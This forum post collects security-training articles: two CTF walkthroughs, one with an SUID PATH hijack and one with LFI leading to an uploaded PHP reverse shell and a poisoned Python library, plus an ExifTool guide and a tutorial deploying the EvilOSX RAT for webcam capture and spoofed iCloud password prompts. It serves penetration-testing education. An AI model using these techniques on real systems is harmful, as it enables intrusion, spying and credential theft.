05-14-2020, 05:54 PM
| 0 | 0 | ||
[To see content please register here]
.Security Level: Beginner
Penetrating Methodology:
- Scanning
- NMAP
- Enumeration
- Wireshark
- Exploitation
- SSH
- Privilege Escalation
- Exploiting Suid rights
Scanning:
Let’s start off with the scanning process. This target VM took the IP address of 192.168.1.102 automatically from our local wifi network.
Then, as usual, we used our favourite tool Nmap for port scanning. We found that ssh is open and running two ports 22 and 65022.
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-2XknGH8obkk/XTcCwXUELtI/AAAAAAAAfc0/cqJIBS1Nyak7iK5QXp_hlICuibwsFZF2QCLcBGAs/s1600/1.png?w=687&ssl=1)
We tried to ssh the target with port 65022 and found. It working but we don’t have the username and password yet.
So our next step is to hunt the ssh username and password
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-aHOv870qNMA/XTcCx8apzVI/AAAAAAAAfdE/yWxpKlI7IMEmMAvqsYHgHG--zHOBs4C7QCLcBGAs/s1600/2.png?w=687&ssl=1)
Enumeration:
All we have got is ssh service enabled on the target machine and nothing else. So what we did is we started to capture traffic of the target machine using Wireshark.
We tried different filters and found something useful with UDP filter.
ip.addr==192.168.1.102 && udp
1
ip.addr==192.168.1.102 && udp
![[Image: 00.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5bVti776VjE/XTcCwoNx17I/AAAAAAAAfc8/VZbNcEJuMbgyKa1Fb5KIS0VTUvRfoxbqgCLcBGAs/s1600/00.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-mdwz_EeP_rg/XTcCx-4eanI/AAAAAAAAfdI/6A2f1W8BeWETalvT1u5p93QuyF_W4UuFACLcBGAs/s1600/4.png?w=687&ssl=1)
We checked with UDP stream and two words got our attention whiteshark & whitepointer which could be the usernames for ssh.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-cN3Vd_1vbds/XTcCyTsWthI/AAAAAAAAfdM/iUHoWmHFrUgRQ1n4Mvta71XZSk-0gbwUQCLcBGAs/s1600/5.png?w=687&ssl=1)
In another captured data packet we found the password Ch@ndr!chthye$.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5jefO2DWpQk/XTcCymfWV2I/AAAAAAAAfdQ/Xgh7jLeMkkgH1M1iUfewbMcDxfYMHqQEwCLcBGAs/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-G0SrzvgCzxA/XTcCypqkEeI/AAAAAAAAfdU/JJoWBbe2xCcsKIXkfpJZ1TSH-BYvMSNWgCLcBGAs/s1600/7.png?w=687&ssl=1)
Exploitation:
So far we probably have got two usernames and one password.
We tried to ssh the target with both the usernames one by one but whitepointer & Ch@ndr!chthye$ combination worked for us and we were successfully able to login the target system.
After logging in we checked for sudo rights but the user was not a sudoer.
We also checked for the suid rights for any file and found /usr/bin/root has suid set.
ssh [email protected] -p 65022
find / -perm -u=s -type f 2>/dev/null
1
2
ssh [email protected] -p 65022
find / -perm -u=s -type f 2>/dev/null
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-hCVwiQkII-A/XTcCzIvTOHI/AAAAAAAAfdY/fJg1NFZ5SGoTAuepRFOm0DPfFl5Ve3mJgCLcBGAs/s1600/8.png?w=687&ssl=1)
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-1SXpmAMvhGM/XTcCzXgaTJI/AAAAAAAAfdc/gOe6tcuU-iMzEa8CM8QEyPG34c-xWfciACLcBGAs/s1600/9.png?w=687&ssl=1)
Privilege Escalation:
To elevate to the root shell we will exploit the suid permissions of the /usr/bin/root file. Using the strings command we found root file is actually running the whoami command.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-IbOrdkcfC3Q/XTcCwqn2P7I/AAAAAAAAfc4/LkjM4y8o8t06si7vCjIENi7R63plRivUgCLcBGAs/s1600/10.png?w=687&ssl=1)
We used the path variable methodology to exploit the privileges of the root file. What we did is we created a new file named whoami inside /tmp directory and put /bin/bash inside it using echo command, then gave all privileges to it. We then exported the path.
To know more about Path Variable check our article on the same
[To see content please register here]
So after that, once we executed the /usr/bin/root file we successfully got the root shell and then also the flag.txt as anticipated.
cd /tmp
echo "/bin/bash" > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/root
cd /root
cat flag.txt
1
2
3
4
5
6
7
cd /tmp
echo "/bin/bash" > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/root
cd /root
cat flag.txt
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-F-hXo2S-Lms/XTcCxP-jm_I/AAAAAAAAfdA/iIz-zgugqZMygOFZzNifVRiMF8SmC01FQCLcBGAs/s1600/11.png?w=687&ssl=1)
FriendZone is a recently retired CTF VM on Hack the Box with the objective – Capture the user and root flag. Hack the Box offers a wide range of VMs for practice from beginner to advanced level and it is great for penetration testers and researchers.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of FriendZone is 10.10.10.123
Penetration Testing Methodologies
Scanning
- Nmap
- SMB shared Directory
- DNS Zone Transfer
- MySQL creds
- LFI to RCE
- Capture the user flag
- Abusing Python Library
- Capture the root flag
Let’s start off with scanning with the nmap to check open ports.
nmap -sC -sV 10.10.10.123
1
nmap -sC -sV 10.10.10.123
From nmap scan we found so many ports are opened such as 22,53,80,443, 445 and several services were available and we noted the SSL certificate is registered as friendzone.red.
![[Image: 0.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-oYi5uyJuBq0/XTXMkcc3EKI/AAAAAAAAfYw/c7NYhKTdYEcCekhVwu58-O5sSBqLp5otwCLcBGAs/s1600/0.png?w=687&ssl=1)
Enumeration
On exploring, vulnerable machine IP in the web browser, it welcomes us with following web page as shown below.
Here also I notice friendzone.red and this could be a clue for proceeding further. As per nmap scan result, port 53 is open for TCP which means there may be some possibilities for DNS Zone Transfer.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-XzWH0jRYa1I/XTXMkXlPbmI/AAAAAAAAfY0/1tBm5Q8xShIya61W0ItvKjzY45wN0oHvwCLcBGAs/s1600/1.png?w=687&ssl=1)
I didn’t find any other useful information on the home page, so I try to enumerate web directories with the help of DIRB. But this was also not worthwhile for us because the enumerated result was not valuable when further inspected.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-p8KwtmkTCXM/XTXMpp3nsNI/AAAAAAAAfZk/znJWBgxQEHotWTaMPH9zCnOGVuTCYSr9wCLcBGAs/s1600/4.png?w=687&ssl=1)
Consequently, I switch to another enumeration service and it was a null session SMB enumeration. So, with the help of SMBmap, which is a Linux utility, we try to enumerate smb shared directories.
smbmap -H 10.10.10.123
1
smbmap -H 10.10.10.123
I found two shared directories and among those /general had read-only permissions and /Development has read/write both permissions. so, when we accessed /general directory, we obtained a text file named as “creds”.
smbmap //10.10.10.123/general
ls
get creds.txt
1
2
3
smbmap //10.10.10.123/general
ls
get creds.txt
In this file, I found the following credential which could be used later.
admin:WORKWORKHhallelujah@#
1
admin:WORKWORKHhallelujah@#
![[Image: 7.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-qaaRyiz3dfU/XTXMp4xE24I/AAAAAAAAfZo/e4K8RLN1tPY5I6VnT53mEQMTAY2VFjDzwCLcBGAs/s1600/7.1.png?w=687&ssl=1)
First, I added friendzone.red inside /etc/hosts file but didn’t found any valuable information, therefore I enumerated sub-domain by executing following command and fetch some sub-domains which could be useful in DNS zone transfer.
host -l friendzone.red 10.10.10.123
1
host -l friendzone.red 10.10.10.123
Further, I saved /administrator1.friendzone.red. in the /etc/hosts file for accessing this domain.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-AR0qk0nT9BA/XTXMqCRHbrI/AAAAAAAAfZs/aCNIXcFGf64cvmd-rROzPoeO-zfuMp52gCLcBGAs/s1600/7.png?w=687&ssl=1)
On the exploring administrator1.friendzone.red we got a login portal where I submitted the credential that we have found above.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Qov8Zrq9n5Q/XTXMqVZ30rI/AAAAAAAAfZw/YRlQiyw4QYkxFUg7-_9JZaopBO4MuNEDACLcBGAs/s1600/8.png?w=687&ssl=1)
So, we found another hint “/dashboard.php” which was a web directory.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-soE-E7FPHcM/XTXMqf0kZhI/AAAAAAAAfZ0/BC-O__-BIvoEezrKl9KijVKcOSvul7gBACLcBGAs/s1600/9.png?w=687&ssl=1)
On enumerating /dashboard.php we found following web page; here it gave a message “image_name param is missing”.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Fn02nXuMRBM/XTXMkHOJrKI/AAAAAAAAfYs/GsXlsFUnOFcoLykTnJUhuug090rK4WXyQCLcBGAs/s1600/10.png?w=687&ssl=1)
Therefore, we injected “default is image_id=a.jpg&pagename=timestamp” in the URL and obtain following web page where we notice timestamp, and this looked little suspicious towards LFI.
[To see content please register here]
1
[To see content please register here]
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kb8v0gvxpI4/XTXMlCJg31I/AAAAAAAAfY4/OwwsCn-P6-wdKIWiYHIQAVRW8TIL_TcHQCLcBGAs/s1600/11.png?w=687&ssl=1)
Exploiting LFI
To ensure that I try to call timestamp.php and by obtaining time stamp on the screen it was confirmed that it is vulnerable to LFI. Now let’s extend LFI to RCE to obtain shell of the host machine.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-TdfGItVXiXw/XTXMlYU-JyI/AAAAAAAAfY8/R6tE2kt681kaspP2pBaaiv-_5oSlY7WQgCLcBGAs/s1600/12.png?w=687&ssl=1)
As we knew that /Development is the only directory that has read/write both permissions, hence we can inject our malicious file inside this directory and execute the backdoor by exploiting LFI to obtain a reverse connection.
Then I have used pentest’s monkey php reverse shell with little modification such $lhost & $lport as a backdoor that to be injected inside the host machine.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ffXhKchxrwo/XTXMlnZKPQI/AAAAAAAAfZA/PX5Vl7XCJ9oZHcbUgQSzaCGYn7hYvWJNQCLcBGAs/s1600/13.png?w=687&ssl=1)
So, we connect to SMB with the help of smbclient and upload the php-reverse-shell inside /Development. Simultaneously we launched netcat listener in a new terminal to obtain a reverse connection from the host machine.
smbclient //10.10.10.123/Development
1
smbclient //10.10.10.123/Development
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Z0MEtXgGG1I/XTXMmKDP5tI/AAAAAAAAfZE/00o-5NgMF5oCATedFUdAUeMOSuzC-blnACLcBGAs/s1600/14.png?w=687&ssl=1)
Then execute the uploaded php backdoor with the privilege of LFI as shown below:
[To see content please register here]
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3zwdqNmZXPE/XTXMmhleafI/AAAAAAAAfZI/I_vsIV4Bk4Mq33hPFb0acwXQNJ28S53sgCLcBGAs/s1600/15.png?w=687&ssl=1)
As soon as we executed above URL in the browser, we have access netcat session and to obtain proper shell we import python pty one-liner and found our 1st flag inside /home/friend.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4LWx62W6jFE/XTXMmu7RLdI/AAAAAAAAfZM/8Ua5NPNFtmMRI-nKZ4CTEIdKWVYiLJIUACLcBGAs/s1600/16.png?w=687&ssl=1)
With little more traversing I found credential for user “friend” from inside /var/www/mysql_data.conf
user=friend
pass=Agpyu12!0.213$
![[Image: 17.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-WweM7SYD0nY/XTXMnD1jnTI/AAAAAAAAfZQ/o5L52i16aKAi9Wc217WRcI4rPiSU9URSACLcBGAs/s1600/17.1.png?w=687&ssl=1)
Privilege Escalation
So, with the help of above-enumerated creds, we try to access ssh and luckily, we connected to ssh and try to identify weak permission file or role for escalating privileges to access root shell or root flag.
ssh [email protected]
1
ssh [email protected]
As I failed to identify any sudo rights or SUID permission files, therefore I go for
[To see content please register here]
to examine the running process of the machine. Thus, I downloaded the script it inside /tmp directory and gave full permissions.![[Image: 17.2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-6ak3jLPPMxc/XTXMnp5GxRI/AAAAAAAAfZU/f1KCm0zDQ4UDVx42usYCVZcMGWae8dkfgCLcBGAs/s1600/17.2.png?w=687&ssl=1)
On running pspy64s, we notice that a python is executing by root which was surprising to us.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ybbI2qMWmRo/XTXModuZQCI/AAAAAAAAfZY/udwYKAB_JKw1jVzcYVsUFjqRkCaf23_2gCLcBGAs/s1600/17.png?w=687&ssl=1)
So, I decided to take a look at what is script was doing, therefore I used the cat command to read what this script is running.
cat /opt/server_admin/reporter.py
1
cat /opt/server_admin/reporter.py
Hmmm! So, I didn’t find any useful operation is being executed by this script other than import a python library “os.py” hence I take its advantage in privilege escalation.
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-u9m5rRSNNtE/XTXMol_gppI/AAAAAAAAfZc/-Mke7GyOMR4sCA8jJj97_N3K-yS79iXgACLcBGAs/s1600/18.png?w=687&ssl=1)
Taking privilege of python library, we can create a bogus python library named as os.py to call root flag through this file.
cd /tmp
echo "system ('cat /root/root.txt > /tmp/flag')" >> /usr/lib/python2.7/os.py
1
2
cd /tmp
echo "system ('cat /root/root.txt > /tmp/flag')" >> /usr/lib/python2.7/os.py
After some time it will create write the root flag inside /tmp/flag as shown in the below image. Thus, we have obtained the root flag and finished this challenge.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-LtVxX8WbIvM/XTXMo4Xly5I/AAAAAAAAfZg/Ul479_bVEl8IAbp0U138Giiw_eT2DMOAQCLcBGAs/s1600/19.png?w=687&ssl=1)
In this article, we’ll discover various methods to read, write and manipulate the meta-data information recorded in a variety of file types. In order to achieve this, we’ll be using a tool known as “ExifTool”. EXIF is an acronym for Exchangeable Image File Format and it is a standard for the inclusion of metadata in certain file types.
Table of Content
- Introduction to ExifTool
- Installation
- Usage of ExifTool
- Extract the Common Meta-Data Information
- Extract the Specific Meta-Data Information
- Extract GPS Co-ordinates
- Extract Thumbnail Image
- Extract metadata using specific keywords
- Extract the Common Meta-Data Information
- ExifTool’s Verbose Mode
- Writing the Meta-Data Information
- Removing Meta-Data Information
- Saving outputs
- In HTML file
- In-Text File
- In HTML file
- Extracting EXIF data from a Video file
ExifTool is developed by Phil Harvey. It is a platform-independent Perl library coupled with a full-featured command-line implementation for reading, writing and manipulating the metadata across a broad range of files, particularly the JPEG images. This metadata may comprise a bunch of information such as the camera make, file type, permissions, file size etc., though it further offers more details about the photograph, like the exposure, the shutter speed and whether the flash fired or not. ExifTool probably gives us the simplest way to extract metadata from files, as it is free and an open-source program.
Installation
Exiftool is quite easy to deploy. It’s just about hitting our Linux terminal and cloning the tool from GitHub.
git clone
[To see content please register here]
1
git clone
[To see content please register here]
In addition, we need to install the necessary package for it.
sudo apt-get install libimage-exiftool-perl
1
sudo apt-get install libimage-exiftool-perl
![[Image: 1..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-mKpmqhL6HvA/XTSLmxaH3fI/AAAAAAAAfXY/_X-T2aNgKGk7WNN5M2RVS1kgocafESFjgCLcBGAs/s1600/1..png?w=687&ssl=1)
So, we’ve mounted the tool in our system. Let’s take a closer look at it.
Usage of Exiftool
To extract the entire metadata of a file, we just need to execute the given below command:
exiftool <filename>
1
exiftool <filename>
From the below image, you can now notice that we’ve got all the information drawn from our image file from the very basic to advance.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-vTRc7j-W9ME/XTSLpUq1fXI/AAAAAAAAfX0/ewQIDgYm8ucA3qGAca8iCcTePBs21o9mACLcBGAs/s1600/2.png?w=687&ssl=1)
However, if we need to capture the ids along with exif tags in the Hexa-Decimal format, though we need to run the following command:
exiftool -H <filename>
1
exiftool -H <filename>
From the below image, we can see that there is a lot of information stored within these Exif tags.
![[Image: 3..png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-QvWvXIsW_kw/XTSLp54b5RI/AAAAAAAAfX4/gVHfVFjtJ102RgYwAPYHCEpzn0iwpcTnACLcBGAs/s1600/3..png?w=687&ssl=1)
Extract the Common Meta-Data Information
Now execute the given below command which will provide us with the output of the most common Exif tags of the image file.
exiftool –common <filename.jpg>
1
exiftool –common <filename.jpg>
![[Image: 4..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Qsy6-R0OlhQ/XTSLpw0XM3I/AAAAAAAAfX8/pAkLnMiHGUUkwmEnKNmU5YamWV_46OB6QCLcBGAs/s1600/4..png?w=687&ssl=1)
Extract the Specific Meta-Data Information
We can list a particular meta-information of our image file by simply executing the command given:
exiftool -tagname -tagname <filename>
1
exiftool -tagname -tagname <filename>
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-UgrxtD4OaEo/XTSLqXQ3x4I/AAAAAAAAfYA/h7Ahlpf2tpgdtRJERU0I6Cg_CT_76L5NQCLcBGAs/s1600/5.png?w=687&ssl=1)
From the below image, we get our desired output displayed along with their respected tag names in a list type format.
Extract GPS Co-ordinates
The photographs we capture using our smartphones or camera have GPS coordinates embedded as metadata in the image files. To obtain this, we just need to fire the command given below:
exiftool <filename> | grep GPS
1
exiftool <filename> | grep GPS
![[Image: 6..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cyzK_jAudds/XTSLrEeKbOI/AAAAAAAAfYE/WAxu0hl9EZ8dm-LU3r1ezT4boUb-TntowCLcBGAs/s1600/6..png?w=687&ssl=1)
Here we got the GPS Position, now just copy and paste this complete coordinate information over Google Maps and we will get the exact location of the camera when the picture was taken.
Extract Thumbnail Image
Thumbnails are the original preview images basically compressed. These are just created to open the original images more quickly and act as place holders to them. In order to extract these thumbnail images, we just need to execute the following command:
exiftool -ThumbnailImage (filename) > (Output filename)
1
exiftool -ThumbnailImage (filename) > (Output filename)
Here we can see that the thumbnail.jpg file is extracted from the test.jpg image.
![[Image: 7..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-N_DRDYVtf8U/XTSLrG4JH1I/AAAAAAAAfYI/uKymFL8_ygEo6RZL1ceTZazKOKeDYE3WwCLcBGAs/s1600/7..png?w=687&ssl=1)
Extract metadata using specific keywords
The following command will assist us to extract the metadata information associated with some specific keywords.
exiftool "-*keyword*" <filename>
1
exiftool "-*keyword*" <filename>
![[Image: 8..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-lmPWw6EkoMo/XTSLrqqH6SI/AAAAAAAAfYM/Kk-9qmmIafgZWbDq6lZ_JlxR3sZrN6tHgCLcBGAs/s1600/8..png?w=687&ssl=1)
From the below picture, we can see that our fired command displays all tags with names containing the word “Image” from the file.
ExifTool’s Verbose Mode
Verbose mode generates extended information i.e. when we add [-v] to the exiftool command it will display us the comprehensive data about the process that it is performing.
exiftool -v <filename>
1
exiftool -v <filename>
![[Image: 9..png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8eHE-oI9lqA/XTSLsHLsvDI/AAAAAAAAfYQ/xaHdJJGIA98_O7biU6HSGrFF3ZSWBhyNQCLcBGAs/s1600/9..png?w=687&ssl=1)
Writing the Meta-Data
ExifTool provides us with a great power to write most of the information on the EXIF tags, that anyone might want to alter, but some tags are protected because they describe the image’s physical characteristics that we can’t change with ExifTool, such as compression. Also, other tags like the GPS, the MakerNotes, this information can be edited.
To manipulate the exif data we need to execute the following command:
exiftool -Make= “HackingArticles” <filename>
1
exiftool -Make= “HackingArticles” <filename>
![[Image: 10..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-NMPU1Ig9Ji8/XTSLm9yBl2I/AAAAAAAAfXc/Css45zD0oOsjau1gPxfnbRmPTcS6yEz9ACLcBGAs/s1600/10..png?w=687&ssl=1)
Here we can see that the information stored in the “Make” tag is replaced from “OPPO” to “HackingArticles”. While writing the information, ExifTool’s script automatically preserves the original file by adding “_original” to the end of the file name.
Removing Meta-Data Information
We have only extracted or manipulated the EXIF data so far, but what if we want to remove or delete all the metadata from an image file. Just execute the following below command, let’s see how this works:
exiftool -all= <filename>
1
exiftool -all= <filename>
It shows 1 image files uploaded. The “test.jpg” EXIF data has been removed effectively. Although let’s attempt to extract the metadata from “test.jpg” again, hence we’re just getting the basic information of the image and the rest is deleted.
![[Image: 11..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-BFP_W8TXKCQ/XTSLnCbq-bI/AAAAAAAAfXg/z9zAKbCoQI0l_GsC6-t0HddiE0siQKRRwCLcBGAs/s1600/11..png?w=687&ssl=1)
Saving outputs in Multiple Format
- In HTML file
exiftool -h (filename) > (output.html)
1
exiftool -h (filename) > (output.html)
![[Image: 12..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-NYqbBAJMbKY/XTSLnqGGuUI/AAAAAAAAfXk/z8rSXcgNs6U0iPTMT6MmzkYgibm1NpIKACLcBGAs/s1600/12..png?w=687&ssl=1)
Here, we can see test.html file is generated. Although we just need to open it to check our EXIF data output in any of our browsers.
![[Image: 13..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-aoIP0ShY3MY/XTSLoSyOS9I/AAAAAAAAfXs/eQAJOEx3244hO9dZrOopjNXYxBPIgM-aACLcBGAs/s1600/13..png?w=687&ssl=1)
- In-Text File
exiftool (filename) > (outputexif.txt)
1
exiftool (filename) > (outputexif.txt)
Further, we can also monitor our output either by opening it in any of the text editors or by simply running the command:
cat <filename>
1
cat <filename>
![[Image: 14..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-e5cLVIpkeuk/XTSLoLmMnVI/AAAAAAAAfXo/J4i3L5n8M-k7qGKUhL9Ckn4zgkfmb9GkgCLcBGAs/s1600/14..png?w=687&ssl=1)
Extracting ExifData from a Video file
ExifTool not only extract metadata from the jpg file format but can also read and write in a variety of files. To know more click
[To see content please register here]
.We will now extract the entire meta-data information from an mp4 video file. To extract this, we will run the basic exiftool’s command i.e.
exiftool <filename.mp4>
1
exiftool <filename.mp4>
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-2h0fgr_bsvI/XTSLojGf3XI/AAAAAAAAfXw/88SFr6FHsrcXP9vqxXKmADSSG5oxVR_NACLcBGAs/s1600/15.png?w=687&ssl=1)
Conclusion
This was Exiftool’s complete usability guide as a meta-data extractor. It is user-friendly and convenient because of its simple command-line implementation. It has thus become one of the best tools to extract meta-data data from a variety of file formats.
In this article, we will learn to use EvilOSX tool which is a Remote Administrator tool (RAT ) for initializing foothold on MacOS/OSX like platform. It can dramatically increase access in a matter of seconds.
Table of Content
- Introduction
- Installation
- Usage in Exploitation
- Usage in Post-Exploitation
- System Info
- Webcam
- Retrieve iCloud auth tokens
- Microphone
- Clipboard
- System Info
- Conclusion
EvilOSX is an evil RAT (Remote Administrator Tool) designed to work upon macOS / OSX Platforms. It was developed by
[To see content please register here]
. Its backbone is famous Empire Framework Project. This project can be modified to be used on Rubber Ducky. This toolkit is fully packed with features. It was designed on the module system that made the debugging, improvements and addition of other modules easy. Also being developed in python it provides easy to be run across different attacking platforms.Installation
The installation of the EvilOSX RAT on the Attacker machine, which in our case in Kali Linux is pretty simple. To begin with, we will visit the
[To see content please register here]
. After getting the git link, we are going to clone the EvilOSX to our attacker machine using the git clone command.git clone
[To see content please register here]
1
git clone
[To see content please register here]
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8Ik1whgqdVk/XTSJL4t5-1I/AAAAAAAAfXI/I9y1Epm9dqAL3NH5dMJCG69RuHa1GG4EwCEwYBhgL/s1600/1.png?w=687&ssl=1)
After cloning the EvilOSX, we traversed in the newly created directory created with the name of EvilOSX. Now, the tool has some predefined requirements that are required in order to make the tool function properly. Being a python developed tool, we will use the “pip” to install those requirements. These requirements are given by the author in the form of a text file which we used to install them.
pip install -r requirements.txt
1
pip install -r requirements.txt
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-9-NKOwYLTv8/XTSJOEWsMWI/AAAAAAAAfXM/gEpvUPq7WYo3SbsMe_ZvVpDaZEaynmGKgCEwYBhgL/s1600/2.png?w=687&ssl=1)
Usage in Exploitation
Since we have successfully installed all the predefined requirements, it time to run this tool and gain control over some macOS devices. Now to exploit, we need a payload. To create this payload, we will use the start.py file with the builder parameter.
python start.py --builder
1
python start.py --builder
After running the script, it asked us to enter the following information:
- the Server host, here we entered our Attacker Machine IP Address (Kali Linux).
- Next, it asked us for a port, this can be any random port.
- After this, we are asked for the location of the payload.
- Next, we have to choose if we want EvilOSX to work upon the rubber ducky or not. Enter 0 for otherwise.
- Furthermore, we are asked to choose the loader, leave it default.
- After that, we are asked to name the payload so as phish the user.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ABZ5-dIUMy8/XTSJOm6-U-I/AAAAAAAAfXI/4Y6p17UCNpQ3T_m4caXCxGvLDAmXUzjoACEwYBhgL/s1600/3.png?w=687&ssl=1)
After all these choices, a launcher is created as shown in the image given below.
Now we can use any method to share this launcher or payload to the victim. In our case, we used a python HTTP server to get this file to the victim system. This file is downloaded on the victim system and then after providing the proper permissions the payload is executed as shown in the image given below.
chmod 777 Launcher-39q1q9.py
./Launcher-39a1a9.py
1
2
chmod 777 Launcher-39q1q9.py
./Launcher-39a1a9.py
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZtJrbgL4HZE/XTSJPGJlM_I/AAAAAAAAfXI/bOIJ13kWWAcVDgLKBIiUiwt8Sh1UwVE_gCEwYBhgL/s1600/4.png?w=687&ssl=1)
While we are executing the Launcher on the victim, we have to perform some actions on the attacker machine simultaneously. We are going execute the start.py again but this time in the CLI mode. Here we have to specify the port that we used while creating the launcher as the parameter as shown in the image.
python start.py -cli --port 4545
1
python start.py -cli --port 4545
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3KB8HVjm3RA/XTSJPMX91lI/AAAAAAAAfXM/1fn4tmvYqQwGxT81r87J2B4iU7notwr0gCEwYBhgL/s1600/5.png?w=687&ssl=1)
Post-Exploitation
After running the start.py script in the previous steps simultaneously with the launcher on the victim machine, we have successfully infiltrated the Victim MacOS system. The terminal converts in a framework as shown in the image. We can configure a page to shown upon the running. Type in help to show a list of working commands. We can see the list of active bots by using the command bots. To establish a connection to a bot, use connect command followed by the number which in this case is 0. To see the list of available modules we use modules command.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-tRIOAC_vJoo/XTSJPk4RGNI/AAAAAAAAfXM/ga7YtZEFLn8YONCGbrQaqxC7FHFmjKS9wCEwYBhgL/s1600/6.png?w=687&ssl=1)
To use a module, just type in “use” followed by the module name. As there are a bunch of available modules, we are demonstrating a bunch of them here for reference. You can try them all at your convenience.
System Info
To get a brief summary of the system, we can use the get info module. This gives us the System Version, Model of the MacOS device. We also get the Battery status in case it is a Laptop. We have the name of the Wi-Fi network it is connected to. It also tells us the privileges the current account has as well as the status of the FileVault.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-39L71m9l90I/XTSJPvnTIMI/AAAAAAAAfXM/UBbp_0mibjslPfyV6Vt2fw7zs3ePn0Z5wCEwYBhgL/s1600/7.png?w=687&ssl=1)
Webcam
Now, we will try to grab a snap from the webcam of the MacOS device. To do this we will need to use the webcam module. It gives us a warning that there a green LED will show near the camera.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-crzBVhu58HQ/XTSJPxn3r6I/AAAAAAAAfXQ/2C45d66kyjMzjm9L4lHf2QSF7h9xPVoyQCEwYBhgL/s1600/8.png?w=687&ssl=1)
We have successfully captured a snap from the victim’s webcam as shown in the given image.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-FWOHw-fnZjY/XTSJQ7Sl5hI/AAAAAAAAfXU/lvuPGHuEAXcARD-Q96_6T201yXC3_PZZwCEwYBhgL/s1600/9.png?w=687&ssl=1)
Retrieve iCloud auth tokens
We can extract the iCloud Authentication that contains information related to the AppleID linked to the device. However, this will first show a prompt on the victim system.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-3LhFmEbXfXs/XTSJL-jJDGI/AAAAAAAAfXE/N7xige8OEpYcnddCBVngbF2IpEiU-FD3wCEwYBhgL/s1600/10.png?w=687&ssl=1)
After agreeing to continue, a prompt will pop us as shown in the image given below. This is masquerading as a genuine prompt that will spoof the victim and make him enter the password.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-HBEejthuPz8/XTSJL4ojYsI/AAAAAAAAfXI/J500LuvQWvMb3xf2O_DEDDX-y08PAPBOQCEwYBhgL/s1600/11.png?w=687&ssl=1)
